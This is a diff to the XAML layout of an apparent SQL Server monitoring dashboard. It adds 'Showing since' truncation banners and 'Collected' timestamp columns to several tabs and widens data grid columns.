+                            <TextBlock Grid.Row="4" x:Name="QueryStoreClutterRecommendation" Margin="8,6,8,6"
                                        FontSize="11" TextWrapping="Wrap"
                                        Foreground="{DynamicResource ForegroundMutedBrush}"
                                        Text="Select a database above for its recommendation."/>
                             <!-- Per SERVER, and labelled as such: QDS_* waits and the Query Store memory clerk are
                                  instance-wide. The proxy is the NON-sleep QDS types only — the four sleep waits are
                                  dropped at collection — which is why the excluded list is printed rather than implied. -->
-                            <Expander Grid.Row="4" Header="Query Store overhead (per server)" Margin="8,0,8,8" IsExpanded="True">
+                            <Expander Grid.Row="5" Header="Query Store overhead (per server)" Margin="8,0,8,8" IsExpanded="True">
                                 <StackPanel>
                                     <DataGrid x:Name="QueryStoreOverheadGrid" Style="{StaticResource DarkGrid}"
                                               MaxHeight="160" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -1901,6 +1905,7 @@
                     <TabItem Header="Plan Corrections">
                         <Grid>
                             <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
@@ -1908,7 +1913,14 @@
                                        Foreground="{DynamicResource ForegroundMutedBrush}"
                                        TextWrapping="Wrap"
                                        Text="The engine's own automatic plan correction findings — sys.dm_db_tuning_recommendations, with the regressed query's text resolved through Query Store at collection time. The engine keeps recommendations only until it restarts, so a captured row can be the only surviving record that a regression happened. Per-database enablement state is on the Configuration tab's Automatic Tuning sub-tab."/>
-                            <DataGrid Grid.Row="1" x:Name="PlanCorrectionGrid" Style="{StaticResource DarkGrid}"
+                            <!-- "Showing since <start>" when this server's plan corrections start after the range does, or the newest
+                                 200 rows (the read's cap) reach back no further than the row named: the earlier of the collector's
+                                 coverage (DataWindowFloor) and the earliest row shown, or the oldest row of a full page (#4966). -->
+                            <TextBlock Grid.Row="1" x:Name="PlanCorrectionsTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <DataGrid Grid.Row="2" x:Name="PlanCorrectionGrid" Style="{StaticResource DarkGrid}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
                                 <DataGrid.Columns>
                                     <DataGridTextColumn Binding="{Binding CollectionTimeLocal}" Width="150" SortMemberPath="CollectionTime">
@@ -2014,6 +2026,7 @@
                     <TabItem Header="Query Heatmap">
                         <Grid>
                             <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
@@ -2027,7 +2040,14 @@
                                     <ComboBoxItem Content="Execution Count"/>
                                 </ComboBox>
                             </StackPanel>
-                            <scottplot:WpfPlot Grid.Row="1" x:Name="QueryHeatmapChart"
+                            <!-- "Showing since <start>" when this server's query stats start after the range does: the earlier of the
+                                 collector's coverage (DataWindowFloor) and the first column drawn. The chart draws only the 5-minute bins
+                                 that hold a row, so a stretch with no row has no column to say it is empty (#4966). -->
+                            <TextBlock Grid.Row="1" x:Name="QueryHeatmapTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <scottplot:WpfPlot Grid.Row="2" x:Name="QueryHeatmapChart"
                                                 MouseMove="HeatmapChart_MouseMove"
                                                 MouseLeave="HeatmapChart_MouseLeave"/>
                         </Grid>
@@ -2114,6 +2134,7 @@
                             <DataGrid.Columns>
                                 <DataGridTextColumn Header="Metric" Binding="{Binding Metric}" Width="2*"/>
                                 <DataGridTextColumn Header="Value" Binding="{Binding Value}" Width="*"/>
+                                <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTimeLocal}" Width="140" SortMemberPath="CollectionTime"/>
                             </DataGrid.Columns>
                         </DataGrid>
                         <!-- Shown only where the cpu_scheduler_stats collector does not run (Azure SQL Database). -->
@@ -2183,6 +2204,10 @@
                                     <TextBlock Text="Memory Model" Foreground="{DynamicResource ForegroundDimBrush}" FontSize="11"/>
                                     <TextBlock x:Name="SqlMemoryModelText" Text="--" FontSize="18" FontWeight="SemiBold"/>
                                 </StackPanel>
+                                <StackPanel Margin="0,0,24,0">
+                                    <TextBlock Text="Collected" Foreground="{DynamicResource ForegroundDimBrush}" FontSize="11"/>
+                                    <TextBlock x:Name="MemoryCollectedText" Text="--" FontSize="18" FontWeight="SemiBold"/>
+                                </StackPanel>
                             </WrapPanel>
                         </Border>
 
@@ -2281,7 +2306,9 @@
                                      report.plan_cache_bloat parity): a client-side CASE on single-use/total plans. -->
                                 <TextBlock Text="Bloat Level:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
                                 <TextBlock x:Name="PlanCacheBloatLevelText" Text="--" FontWeight="Bold" VerticalAlignment="Center" Margin="0,0,20,0"/>
-                                <TextBlock x:Name="PlanCacheRecommendationText" Text="" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" TextWrapping="Wrap"/>
+                                <TextBlock x:Name="PlanCacheRecommendationText" Text="" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" TextWrapping="Wrap" Margin="0,0,20,0"/>
+                                <TextBlock Text="Collected:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
+                                <TextBlock x:Name="PlanCacheCollectedText" Text="--" VerticalAlignment="Center"/>
                             </StackPanel>
                         </Border>
                     </Grid>
@@ -2290,9 +2317,20 @@
                 <!-- Memory Pressure Events Sub-Tab -->
                 <TabItem Header="Memory Pressure Events">
                     <Grid Margin="8">
-                        <scottplot:WpfPlot x:Name="MemoryPressureEventsChart"/>
+                        <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
+                            <RowDefinition Height="*"/>
+                        </Grid.RowDefinitions>
+                        <!-- "Showing since <start>" when this server's pressure events start after the range does: the earlier of the
+                             collector's coverage (DataWindowFloor) and the first event drawn. The chart draws bars only where pressure was
+                             recorded, so a span with no data reads as a span with no pressure (#4966). -->
+                        <TextBlock Grid.Row="0" x:Name="MemoryPressureEventsTruncationBanner" Visibility="Collapsed"
+                                   Padding="8,4" FontWeight="Bold"
+                                   Foreground="{DynamicResource ForegroundBrush}"
+                                   Background="#22FFAA00"/>
+                        <scottplot:WpfPlot Grid.Row="1" x:Name="MemoryPressureEventsChart"/>
                         <!-- Shown only where the memory_pressure_events collector does not run (Azure SQL Database) or has never run for this server. -->
-                        <TextBlock x:Name="MemoryPressureEventsNoDataMessage" Style="{StaticResource EmptyHint}"/>
+                        <TextBlock Grid.Row="1" x:Name="MemoryPressureEventsNoDataMessage" Style="{StaticResource EmptyHint}"/>
                     </Grid>
                 </TabItem>
 
@@ -2384,17 +2422,34 @@
                     <TabItem Header="Trends">
                         <Grid>
                             <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
-                            <Border Grid.Row="0" Margin="0,0,0,4">
+                            <!-- One "Showing since" banner per chart (#4966): the three charts draw from three different floors
+                                 (wait_stats, the blocked-process-report sources, deadlocks), so no one note is true of all of them. -->
+                            <TextBlock Grid.Row="0" x:Name="LockWaitTrendTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <Border Grid.Row="1" Margin="0,0,0,4">
                                 <scottplot:WpfPlot x:Name="LockWaitTrendChart"/>
                             </Border>
-                            <Border Grid.Row="1" Margin="0,4,0,4">
+                            <TextBlock Grid.Row="2" x:Name="BlockingTrendTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <Border Grid.Row="3" Margin="0,4,0,4">
                                 <scottplot:WpfPlot x:Name="BlockingTrendChart"/>
                             </Border>
-                            <Border Grid.Row="2" Margin="0,4,0,0">
+                            <TextBlock Grid.Row="4" x:Name="DeadlockTrendTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <Border Grid.Row="5" Margin="0,4,0,0">
                                 <scottplot:WpfPlot x:Name="DeadlockTrendChart"/>
                             </Border>
                         </Grid>
@@ -2420,7 +2475,9 @@
                              don't collide on a short (768px) laptop. The summary strip spans both columns below. -->
                         <Grid>
                             <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                                 <RowDefinition Height="Auto"/>
                             </Grid.RowDefinitions>
@@ -2428,19 +2485,30 @@
                                 <ColumnDefinition Width="*"/>
                                 <ColumnDefinition Width="*"/>
                             </Grid.ColumnDefinitions>
-                            <Border Grid.Row="0" Grid.Column="0" Margin="0,0,4,4">
+                            <!-- One "Showing since" banner per chart pair (#4966): the blocking pair draws from the blocked-process-report
+                                 sources and the deadlock pair from deadlocks, which have different floors. The summary strip below is
+                                 covered by these. -->
+                            <TextBlock Grid.Row="0" Grid.ColumnSpan="2" x:Name="BlockingStatsBlockingTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <Border Grid.Row="1" Grid.Column="0" Margin="0,0,4,4">
                                 <scottplot:WpfPlot x:Name="BlockingDurationChart"/>
                             </Border>
-                            <Border Grid.Row="0" Grid.Column="1" Margin="4,0,0,4">
+                            <Border Grid.Row="1" Grid.Column="1" Margin="4,0,0,4">
                                 <scottplot:WpfPlot x:Name="BlockingTotalDurationChart"/>
                             </Border>
-                            <Border Grid.Row="1" Grid.Column="0" Margin="0,4,4,0">
+                            <TextBlock Grid.Row="2" Grid.ColumnSpan="2" x:Name="BlockingStatsDeadlockTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <Border Grid.Row="3" Grid.Column="0" Margin="0,4,4,0">
                                 <scottplot:WpfPlot x:Name="DeadlockWaitChart"/>
                             </Border>
-                            <Border Grid.Row="1" Grid.Column="1" Margin="4,4,0,0">
+                            <Border Grid.Row="3" Grid.Column="1" Margin="4,4,0,0">
                                 <scottplot:WpfPlot x:Name="DeadlockTotalWaitChart"/>
                             </Border>
-                            <Border Grid.Row="2" Grid.ColumnSpan="2" Background="{DynamicResource BackgroundDarkBrush}" CornerRadius="4" Padding="12,8" Margin="0,4,0,0">
+                            <Border Grid.Row="4" Grid.ColumnSpan="2" Background="{DynamicResource BackgroundDarkBrush}" CornerRadius="4" Padding="12,8" Margin="0,4,0,0">
                                 <StackPanel Orientation="Horizontal" HorizontalAlignment="Center">
                                     <TextBlock Text="Blocking Events:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
                                     <TextBlock x:Name="BlockingStatsEventCountText" Text="--" VerticalAlignment="Center" Margin="0,0,20,0"/>
@@ -2463,15 +2531,27 @@
                     <TabItem Header="Current Waits">
                         <Grid>
                             <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                                 <RowDefinition Height="*"/>
+                                <RowDefinition Height="Auto"/>
                             </Grid.RowDefinitions>
-                            <Border Grid.Row="0" Margin="0,0,0,4">
+                            <!-- "Showing since <start>" when this server's waiting_tasks rows start after the range
+                                 does (DataWindowFloor via LoadBlockingAsync). Both charts read waiting_tasks. -->
+                            <TextBlock Grid.Row="0" x:Name="CurrentWaitsTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <Border Grid.Row="1" Margin="0,0,0,4">
                                 <scottplot:WpfPlot x:Name="CurrentWaitsDurationChart"/>
                             </Border>
-                            <Border Grid.Row="1" Margin="0,4,0,0">
+                            <Border Grid.Row="2" Margin="0,4,0,0">
                                 <scottplot:WpfPlot x:Name="CurrentWaitsBlockedChart"/>
                             </Border>
+                            <!-- Both charts read waiting_tasks, which stores a row only when a collection found a task waiting or blocked, so a quiet server draws few points and a gap means nothing was waiting. -->
+                            <TextBlock Grid.Row="3" x:Name="CurrentWaitsSparseNote" Padding="8,4" FontStyle="Italic" TextWrapping="Wrap"
+                                       Foreground="{DynamicResource ForegroundDimBrush}"
+                                       Text="Points appear only when a collection found waiting or blocked tasks. A gap means nothing was waiting at that time."/>
                         </Grid>
                     </TabItem>
                     <!-- Blocked Process Reports — widened to Lite's full grid (W1e): UTC slicer + ~25 filterable
@@ -2485,8 +2565,16 @@
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
                             <local:TimeRangeSlicerControl x:Name="BlockingSlicer" Grid.Row="0"/>
-                            <TextBlock x:Name="BlockingSeparatelyMonitoredNote" Grid.Row="1" Visibility="Collapsed" TextWrapping="Wrap" Margin="10,2,10,4" FontSize="11"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <!-- "Showing since <start>" when this server's blocked process reports start after the range does: the earlier of the
+                                 collector's coverage (DataWindowFloor) and the earliest event shown (#4966). -->
+                            <StackPanel Grid.Row="1">
+                                <TextBlock x:Name="BlockedProcessReportsTruncationBanner" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <TextBlock x:Name="BlockingSeparatelyMonitoredNote" Visibility="Collapsed" TextWrapping="Wrap" Margin="10,2,10,4" FontSize="11"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            </StackPanel>
                             <DataGrid x:Name="BlockedProcessReportGrid" Grid.Row="2"
                                       Style="{StaticResource DarkGrid}"
                                       RowStyle="{StaticResource BlockingRowStyle}"
@@ -2601,8 +2689,16 @@
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
                             <local:TimeRangeSlicerControl x:Name="DeadlockSlicer" Grid.Row="0"/>
-                            <TextBlock x:Name="DeadlockSeparatelyMonitoredNote" Grid.Row="1" Visibility="Collapsed" TextWrapping="Wrap" Margin="10,2,10,4" FontSize="11"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <!-- "Showing since <start>" when this server's deadlocks start after the range does: the earlier of the
+                                 collector's coverage (DataWindowFloor) and the earliest event shown (#4966). -->
+                            <StackPanel Grid.Row="1">
+                                <TextBlock x:Name="DeadlocksTruncationBanner" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <TextBlock x:Name="DeadlockSeparatelyMonitoredNote" Visibility="Collapsed" TextWrapping="Wrap" Margin="10,2,10,4" FontSize="11"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            </StackPanel>
                             <DataGrid x:Name="DeadlockGrid" Grid.Row="2"
                                       Style="{StaticResource DarkGrid}"
                                       RowStyle="{StaticResource DeadlockRowStyle}"
@@ -2763,7 +2859,9 @@
                         <TextBlock Text="Top Host:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
                         <TextBlock x:Name="SessionStatsTopHostText" Text="N/A" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center" Margin="0,0,20,0"/>
                         <TextBlock Text="Databases:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
-                        <TextBlock x:Name="SessionStatsDatabasesText" Text="N/A" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center"/>
+                        <TextBlock x:Name="SessionStatsDatabasesText" Text="N/A" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center" Margin="0,0,20,0"/>
+                        <TextBlock Text="Collected:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
+                        <TextBlock x:Name="SessionStatsCollectedText" Text="N/A" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center"/>
                     </StackPanel>
                 </Border>
             </Grid>
@@ -2803,28 +2901,29 @@
                         <DataGridTextColumn Binding="{Binding StartTimeLocal}" Width="150" SortMemberPath="StartTime">
                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="StartTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Start Time" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding CurrentDurationFormatted}" Width="120" SortMemberPath="CurrentDurationSeconds">
+                        <DataGridTextColumn Binding="{Binding CurrentDurationFormatted}" Width="150" SortMemberPath="CurrentDurationSeconds">
                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CurrentDurationFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Current Duration" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding AvgDurationFormatted}" Width="110" SortMemberPath="AvgDurationSeconds">
+                        <DataGridTextColumn Binding="{Binding AvgDurationFormatted}" Width="130" SortMemberPath="AvgDurationSeconds">
                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgDurationFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Avg Duration" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding P95DurationFormatted}" Width="110" SortMemberPath="P95DurationSeconds">
+                        <DataGridTextColumn Binding="{Binding P95DurationFormatted}" Width="130" SortMemberPath="P95DurationSeconds">
                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="P95DurationFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="P95 Duration" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding PercentOfAverageFormatted}" Width="100" SortMemberPath="PercentOfAverage">
+                        <DataGridTextColumn Binding="{Binding PercentOfAverageFormatted}" Width="125" SortMemberPath="PercentOfAverage">
                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PercentOfAverageFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="% of Average" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding RunningLongDisplay}" Width="90">
+                        <DataGridTextColumn Binding="{Binding RunningLongDisplay}" Width="125">
                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RunningLongDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Running Long" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding SuccessfulRunCount}" ElementStyle="{StaticResource NumericCell}" Width="140">
+                        <DataGridTextColumn Binding="{Binding SuccessfulRunCount}" ElementStyle="{StaticResource NumericCell}" Width="190">
                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SuccessfulRunCount" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Successful Runs (30d)" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                         </DataGridTextColumn>
+                        <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTimeLocal}" Width="140" SortMemberPath="CollectionTime"/>
                     </DataGrid.Columns>
                 </DataGrid>
                 <!-- Shown only where the running_jobs collector does not run (Azure SQL Database has no SQL Server Agent) or has never run for this server (AWS RDS). -->
-                <TextBlock Grid.Row="2" x:Name="RunningJobsNoDataMessage" Style="{StaticResource EmptyHint}"/>
+                <TextBlock Grid.Row="2" x:Name="RunningJobsNoDataMessage" Text="No SQL Agent jobs are running." Style="{StaticResource EmptyHint}"/>
             </Grid>
         </TabItem>
 
@@ -2842,18 +2941,21 @@
                                     <DataGridTextColumn Binding="{Binding ConfigurationName}" Width="300">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ConfigurationName" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Setting" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding ValueConfigured}" Width="130">
+                                    <DataGridTextColumn Binding="{Binding ValueConfigured}" Width="150">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ValueConfigured" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Configured Value" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
                                     <DataGridTextColumn Binding="{Binding ValueInUse}" Width="130">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ValueInUse" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Value In Use" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding DynamicDisplay}" Width="80">
+                                    <DataGridTextColumn Binding="{Binding DynamicDisplay}" Width="95">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DynamicDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Dynamic" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AdvancedDisplay}" Width="80">
+                                    <DataGridTextColumn Binding="{Binding AdvancedDisplay}" Width="100">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AdvancedDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Advanced" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
+                                    <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                        <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                    </DataGridTextColumn>
                                 </DataGrid.Columns>
                             </DataGrid>
                             <!-- Shown only where the server_config collector does not run (Azure SQL Database) or has never run for this server. -->
@@ -2869,46 +2971,46 @@
                                 <DataGridTextColumn Binding="{Binding StateDesc}" Width="90">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="StateDesc" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="State" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding CompatibilityLevel}" ElementStyle="{StaticResource NumericCell}" Width="100">
+                                <DataGridTextColumn Binding="{Binding CompatibilityLevel}" ElementStyle="{StaticResource NumericCell}" Width="125">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CompatibilityLevel" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Compat Level" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
                                 <DataGridTextColumn Binding="{Binding CollationName}" Width="180">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CollationName" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collation" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding RecoveryModel}" Width="120">
+                                <DataGridTextColumn Binding="{Binding RecoveryModel}" Width="135">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RecoveryModel" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Recovery Model" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding ReadOnlyDisplay}" Width="85">
+                                <DataGridTextColumn Binding="{Binding ReadOnlyDisplay}" Width="105">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ReadOnlyDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Read Only" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding RcsiDisplay}" Width="65">
+                                <DataGridTextColumn Binding="{Binding RcsiDisplay}" Width="75">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RcsiDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="RCSI" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding SnapshotIsolationState}" Width="130">
+                                <DataGridTextColumn Binding="{Binding SnapshotIsolationState}" Width="160">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SnapshotIsolationState" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Snapshot Isolation" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding AutoCreateStatsDisplay}" Width="110">
+                                <DataGridTextColumn Binding="{Binding AutoCreateStatsDisplay}" Width="155">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoCreateStatsDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Auto Create Stats" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding AutoUpdateStatsDisplay}" Width="115">
+                                <DataGridTextColumn Binding="{Binding AutoUpdateStatsDisplay}" Width="155">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoUpdateStatsDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Auto Update Stats" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding AutoUpdateStatsAsyncDisplay}" Width="135">
+                                <DataGridTextColumn Binding="{Binding AutoUpdateStatsAsyncDisplay}" Width="160">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoUpdateStatsAsyncDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Async Stats Update" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding ParameterizationForcedDisplay}" Width="140">
+                                <DataGridTextColumn Binding="{Binding ParameterizationForcedDisplay}" Width="190">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ParameterizationForcedDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Forced Parameterization" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
